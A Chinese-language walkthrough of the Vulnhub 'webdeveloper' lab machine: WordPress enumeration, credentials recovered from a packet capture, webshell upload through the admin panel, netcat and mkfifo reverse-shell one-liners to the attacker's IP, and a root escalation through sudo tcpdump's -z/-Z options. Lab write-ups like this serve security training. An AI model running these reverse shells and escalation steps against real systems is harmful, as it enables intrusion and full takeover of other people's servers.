Vulnhub webdeveloper靶机渗透
信息搜集
nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.148 #综合扫描
访问一下发现是wordpress,wp直接上wpscan
wpscan --url http://192.168.146.148/ -e u #爆用户名
wpscan --url http://192.168.146.148/ -e cb,dbe #扫配置文件,数据库文件
没有什么发现
dirb http://192.168.146.148/ #dirb扫目录
基本都是常规的wp目录,但是看到ipdata目录很可疑。
看到一个流量包,下载下来分析。
http.request.method ==POST #只看post方法,寄希望于找用户密码
确实有login页面,且记录了用户名和密码。 webdeveloper -- Te5eQg&4sBS!Yr$)wf%(DcAd
getFlag
wp后台反弹shell
登陆进就是wp常规的后台拿shell了:上传插件
大概总结下wp后台getshell方法:
1.上传插件; 直接上传php文件,路径/wp-content/uploads/year/month/xx.php
2.主题外观编辑php文件写代码; 路径/wp-content/themes/主题名/修改文件的文件名
3.和主题一起打包php成zip文件,上传主题安装;
4.媒体处Browser上传文件。
5.编辑已安装插件。
提示出错没关系,直接访问http://192.168.146.148/wp-content/uploads/2020/03/normal.php
2020/03改成自己的日期,文件名也是自己的,可以发现上传是成功的,直接蚁剑连上。
然后反弹shell。 渗透机 nc -lvp 4444
靶机nc -e /bin/sh 192.168.146.132 4444 #发现没有-e选项
使用下面这个。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.132 4444 >/tmp/f
解释:mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。
参考:https://xz.aliyun.com/t/2549#toc-4
常规的,看一眼sudo -l和suid文件,没有什么发现。
查看配置文件
看一眼wp的配置文件,看看能不能找到数据库密码,然后进行mysql提权(udf,mof)什么的。
username=webdeveloper password=MasterOfTheUniverse
emmmm... 蚁剑无法连上数据库。 看来应该是只能登陆webdeveloper用户,然后再进行数据库操作了。
鉴于很多人喜欢将密码设置成一样的,我们这里可以尝试ssh链接。
提权
看到目录下提示了sudo成为admin,那就sudo -l看看sudo权限。
看看tcpdump的命令帮助。
关注-z和-Z参数,前者执行脚本,后者指定运行用户
# 使用方法
webdeveloper@webdeveloper:/tmp$ echo 'mknod backpipe p && nc 192.168.146.132 4444 0<backpipe | /bin/bash 1>backpipe' > priv.sh
webdeveloper@webdeveloper:/tmp$ chmod +x priv.sh #一定要加权限啊,坑了我好久
webdeveloper@webdeveloper:/tmp$ sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/priv.sh -Z root
# 解释:-W 1抓一个包,-G 1运行1s,因为我们只要运行下tcpdump然后执行shell脚本就行了
既然都可以执行shell了,直接写sudoers等文件提权也ok
总结
靶机不难,主要复习了下wp后台getshell,方法很多了。
实操了下tcpdump提权,其他也就没什么了。